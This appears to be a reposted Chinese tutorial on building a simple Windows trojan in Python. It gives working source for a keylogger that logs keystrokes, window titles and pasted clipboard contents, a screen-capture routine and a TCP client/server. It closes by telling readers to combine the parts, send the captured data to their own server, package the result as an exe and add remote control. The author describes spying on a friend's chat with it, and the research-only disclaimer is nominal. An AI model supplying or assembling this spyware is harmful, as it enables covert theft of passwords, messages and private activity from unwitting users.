Python编程简单的木马程序

light·2015/01/26 10:07

0x00准备好了

本文的内容仅用于研究和研究,不得用于非法目的!

这一次,我们使用Python编写了一个简单的木马,它具有关键日志记录,屏幕截图和通讯功能。仍然选择Sublime text2 + JEDI(python自动完成插件)按代码,JEDI插件的安装和配置可以参考此处:/ tips /?id = 4413

首先准备我们需要的依赖库,python钩子和pythoncom。

下载并安装python钩子

下载并安装pythoncom模块:

%20219 / pywin32-219.win32-py2.7.exe /下载

如果发现麻烦,可以直接使用Activepython的商业版本,该版本集成了我们需要的所有python库(我们可以使用他的免费版本):

0x01键盘记录器

说到键盘记录器,每个人的想法可能已经飞向具有wifi功能的微型硬件。除了高科技以外,我们暂时将回到本质上,以探索简单键盘记录器的原理和实现。

Python键盘记录器键盘记录功能的实现主要使用pythoncom和pythonhook,然后对Windows API进行各种调用。使用Python方便快捷的原因主要是由于这些庞大的支持库,即所谓的“寿命短,请快速使用Python”。

代码部分:

#!python

# -*- coding: utf-8 -*-

from ctypes import *

import pythoncom

import pyHook

import win32clipboard

user32 = windll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

#

def get_current_process():

# 获取最上层的窗口句柄

hwnd = user32.GetForegroundWindow()

# 获取进程ID

pid = c_ulong(0)

user32.GetWindowThreadProcessId(hwnd,byref(pid))

# 将进程ID存入变量中

process_id = "%d" % pid.value

# 申请内存

executable = create_string_buffer("\x00"*512)

h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

# 读取窗口标题

windows_title = create_string_buffer("\x00"*512)

length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

# 打印

print

print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)

print

# 关闭handles

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

# 定义击键事件函数

def KeyStroke(event):

global current_window

# 检测目标窗口是否转移(换了其他窗口就新的窗口)

if event.WindowName != current_window:

current_window = event.WindowName

# 函数调用

get_current_process()

# 检测击键是否常规按键(非组合键等)

if event.Ascii > 32 and event.Ascii <127:

print chr(event.Ascii),

else:

# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来

if event.Key == "V":

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print "[PASTE]-%s" % (pasted_value),

else:

print "[%s]" % event.Key,

# 循环下一个击键事件

return True

# 创建并注册hook管理器

kl = pyHook.HookManager()

kl.KeyDown = KeyStroke

# 注册hook并执行

kl.HookKeyboard()

pythoncom.PumpMessages()

[知识点]挂钩:Windows消息处理机制的平台,应用程序可以在该平台上设置子例程以监视指定窗口的某些消息,并且可以由其他进程创建监视的窗口。

编写代码时,请务必注意严格区分大小写。检查错误后启动键盘记录器:

然后您可以尝试打开记事本并写一些东西,您可以看到我们的键盘记录器窗口正在实时记录我们的输入:

切换窗口时,它将自动跟踪到新窗口(受众:如果您没有此功能,您不敢打电话给键盘记录器!),莱特教授趁机骚扰了疯狗,您可以看到我们的键盘记录程序已经跟踪了QQ聊天窗口,并且忠实记录了我输入的所有内容。

0x02看看您在做什么:编写屏幕截图

截屏更容易实现,只需直接调用几个与gui相关的API,直接查看代码即可:

#!python

# -*- coding: utf-8 -*-

import win32gui

import win32ui

import win32con

import win32api

# 获取桌面

hdesktop = win32gui.GetDesktopWindow()

# 分辨率适应

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表

desktop_dc = win32gui.GetWindowDC(hdesktop)

img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建一个内存设备描述表

mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象

screenshot = win32ui.CreateBitmap()

screenshot.CreateCompatibleBitmap(img_dc, width, height)

mem_dc.SelectObject(screenshot)

# 截图至内存设备描述表

mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将截图保存到文件中

screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')

# 内存释放

mem_dc.DeleteDC()

win32gui.DeleteObject(screenshot.GetHandle())

查看其工作原理:

0x03全面应用:完成一个简单的木马

无论是键盘记录器记录的内容还是屏幕截图程序截取的图片,仅存在于客户端都没有多大意义。我们需要构建一个简单的服务器和客户端,以进行通信并将记录的内容传输到我们的服务器上。

编写一个简单的TCPclient

#!python

# -*- coding: utf-8 -*-

import socket

# 目标地址IP/URL及端口

target_host = "127.0.0.1"

target_port = 9999

# 创建一个socket对象

client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

# 连接主机

client.connect((target_host,target_port))

# 发送数据

client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")

# 接收响应

response = client.recv(4096)

print response

编写一个简单的TCPserver

#!python

# -*- coding: utf-8 -*-

import socket

import threading

# 的IP及端口

bind_ip = "127.0.0.1"

bind_port = 9999

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip,bind_port)

def handle_client(client_socket):

request = client_socket.recv(1024)

print "[*] Received:%s" % request

client_socket.send("ok!")

client_socket.close()

while True:

client,addr = server.accept()

print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])

client_handler = threading.Thread(target=handle_client,args=(client,))

client_handler.start()

启用服务器监视:

客户端执行:

服务器接收到客户端的请求并做出响应:

0x04结论

最后,您需要做的就是结合以上三个模块,然后将一个带有键盘记录程序,屏幕截图和内容的简单木马发送到我们的服务器。您可以使用py2exe从脚本生成exe可执行文件。当然您可以继续播放,加上遥控功能。 Py2exe的用法可以在这里参考:

享受编码〜

参考文件:

“黑帽Python”

©五云知识库版权所有。禁止擅自转载

本文来自电脑杂谈,转载请注明本文网址:

http://www.pc-fly.com/a/shouji/article-331182-1.html

用python做一个木马_Python编程简单的木马程序(转载于乌云中)相关推荐

  1. 用python做一个计数器_Python写一个UP主计数器(送界面定制指南)

    前言 前一段时间我在翻B站.突然,我想到了一个点子--为何不写一个UP主计数器? 于是我到翻了一下B站,发现相关视频也就几个(搜粉丝计数器的时候,一抓也有一些),翻到专栏后,居然没有一个专栏是如何写U ...

  2. python做报表汇总_python制作简单报表

    使用python制作一个简单的工作簿: ①导包 ( xlwt扩展包,用于excel的读取,实现表单和指定单元格的写入.) import xlwt ②创建工作簿 workbook = xlwt.Work ...

  3. python做一个记事本_python如何自制一个简易记事本?

    如何使用Tkinter在Python中创建一个简单的记事本呢.这个记事本GUI将包含各种菜单,如文件和编辑,使用它们可以完成保存文件,打开文件,编辑,剪切和粘贴等所有功能.使用此代码,我们将在记事本的 ...

  4. python做图片美化_Python实现简单的照片磨皮(照片智能磨皮) 最新免费版

    Python实现简单的照片磨皮(照片智能磨皮)是一款用python写的最好的照片磨皮软件.需要配置opencv和numpy,使用的时候地址需要加英文的引号,斜杠要用双斜杠,例如"D:\\a. ...

  5. 如何用python做一个时钟_Python使用turtle库制作一个时钟

    前言 Turtle库是Python语言中一个很流行的绘制图像的函数库,想象一个小乌龟,在一个横轴为x.纵轴为y的坐标系原点,(0,0)位置开始,它根据一组函数指令的控制,在这个平面坐标系中移动,从而在 ...

  6. 使用python做一个密码锁_Python选择结构——设计密码锁

    前期知识回顾: Python入门之输入--变化的展示牌 叮小马一家人旅游回来,发现家里被盗了,值钱的东西都被小偷搜刮一空.爸爸妈妈很难过,叮小马决定设计一个密码锁来加强保护. 设计密码锁 1.任务分解 ...

  7. 用python画满天星花朵_如何使用python做一个可以画一朵花的小程序?

    这篇文章可以交给你怎么在windows或macOS与python3环境下做出一个可以根据你的自定义设置画出一朵花的程序. 在开始写正式的逻辑代码之前,我们要先导入一些库: from tkinter i ...

  8. 用Python做一个价值数万的市场调查报告程序,分分钟完成工作

    前些天有个朋友向我求救,他们公司最近要针对餐饮行业做数据分析,并为某些商家做出线上营销方案.但是他一头雾水,不知道该从哪方面下手. 我提醒他,是否先从商家的线上评价作为数据分析的入口例如美团.大众点评 ...

  9. python无师自通配套资源_Python编程无师自通:专业程序员的养成

    领取成功 您已领取成功! 您可以进入Android/iOS/Kindle平台的多看阅读客户端,刷新个人中心的已购列表,即可下载图书,享受精品阅读时光啦! - | 回复不要太快哦~ 回复内容不能为空哦 ...

最新文章

  1. php工程模式,PHP设计模式(八):工厂模式
  2. C/MFC如何获得应用程序当前路径(整理)
  3. python app教程-Python zipapp打包教程(超级详细)
  4. 博客搬迁地址到csdn了
  5. 两个数组a[N],b[N],其中A[N]的各个元素值已知,现给b[i]赋值,b[i] = a[0]*a[1]*a[2]…*a[N-1]/a[i];...
  6. Install OpenCV-Python in Ubuntu
  7. 论文浅尝 | 采用成对编码的图卷积网络用于知识图谱补全
  8. python函数的目的与意义_Python函数__new__及__init__作用及区别解析
  9. 【 Linux 网络虚拟化 】Netns
  10. 面试官:自己搭建过vue开发环境吗?
  11. 如何保护 IT 基础设施的安全?谷歌给出了500页的答案
  12. 关于chrome上的网银安全控件开发技术(chrome 调用本地dll)
  13. MyBatis源码阅读指南
  14. 如何用latex高效写毕业论文(超简明+实用经验分享)
  15. SDN(软件定义网络)简史-早期
  16. Requirement already satisfied
  17. 【2018 Nature】Review Disease Primers - Epilepsy 【文献翻译】
  18. SpringCloud基础
  19. 基于多目标灰狼算法的冷热电综合三联供微网低碳经济 MATLAB 仿真
  20. IDM和迅雷哪个更好用?Internet Download Manager迅雷对比

热门文章

  1. linux下C语言抓包程序,带图形界面
  2. Python:绘制数学图形
  3. 数据沼泽_数据湖:只是一片沼泽,没有数据治理和目录
  4. [ZJOI2005]沼泽鳄鱼
  5. 房贷要不要提前还款两种还款方式比较
  6. H3CSE园区-RRPP
  7. switch 注册哪个服务器,switch注册教程
  8. 计算机网怎样连接网络连接不上,网络连接不上,详细教您电脑网络连接不上怎么解决...
  9. 条码打印软件里如何批量编制69商品条码?
  10. 大学数据库创建与查询实战——查询